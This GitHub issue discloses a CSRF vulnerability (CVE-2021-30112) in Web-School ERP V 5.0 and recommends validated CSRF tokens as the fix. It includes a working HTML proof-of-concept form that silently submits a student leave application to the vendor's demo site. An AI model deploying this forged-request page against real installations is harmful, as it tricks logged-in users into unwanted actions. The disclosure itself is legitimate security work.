New issue

Jump to bottom

CVE-2021-30112 #3

Open **0xrayan** opened this issue on Apr 7, 2021 · 0 comments

0xrayan commented on Apr 7, 2021 Owner

Product : Web-School ERP V 5.0

Description: Web-School ERP V 5.0 contains a cross-site request forgery (CSRF) vulnerability that allows a remote attacker to create a student_leave_application request through module/core/studentleaveapplication/create. The application fails to validate the CSRF token for a POST request using Guardian privilege.

Recommendations :

1- Implement `X-CSRF-TOKEN` and make sure it's validating in back-end server as well
2- Implement an interceptor which appends token value to every (state-changing) request in custom request header `X-XSRF-TOKEN-B`

Video POC : Google Drive

POC :

```
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body, html {
  height: 100%;
  margin: 0;
}

.bg {
  /* The image used */
  background-image: url("https://avatars.githubusercontent.com/u/78818477?s=400&u=b18f9de63b3df28e6e1b4d2dc64303048aa5f5b5&v=4");

  /* Full height */
  height: 100%;

  /* Center and scale the image nicely */
  background-position: center;
  background-repeat: no-repeat;
  background-size: cover;
}
</style>
</head>
<body>

<div class="bg"></div>

<p>CSRF CVE-2021-30112 , After clicking below button a Studentleaveapplication request will be created  !!.</p>

</body>


<form enctype="multipart/form-data" method="POST" action="http://demowebsch.web-school.in/index.php/core/studentleaveapplication/create">

<input class="form-control hasDatepicker" placeholder="start date" id="Studentleaveapplication_fromdate" name="Studentleaveapplication[fromdate]" type="text" value="04/20/2021">

<input class="form-control hasDatepicker" placeholder="start date" id="Studentleaveapplication_todate" name="Studentleaveapplication[todate]" type="text" value="04/22/2021">

<input class="form-control" name="Studentleaveapplication[reason]" id="Studentleaveapplication_reason" value="CSRF everywhere">

<input class="btn btn-info" type="submit" name="yt0" value="Create">
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant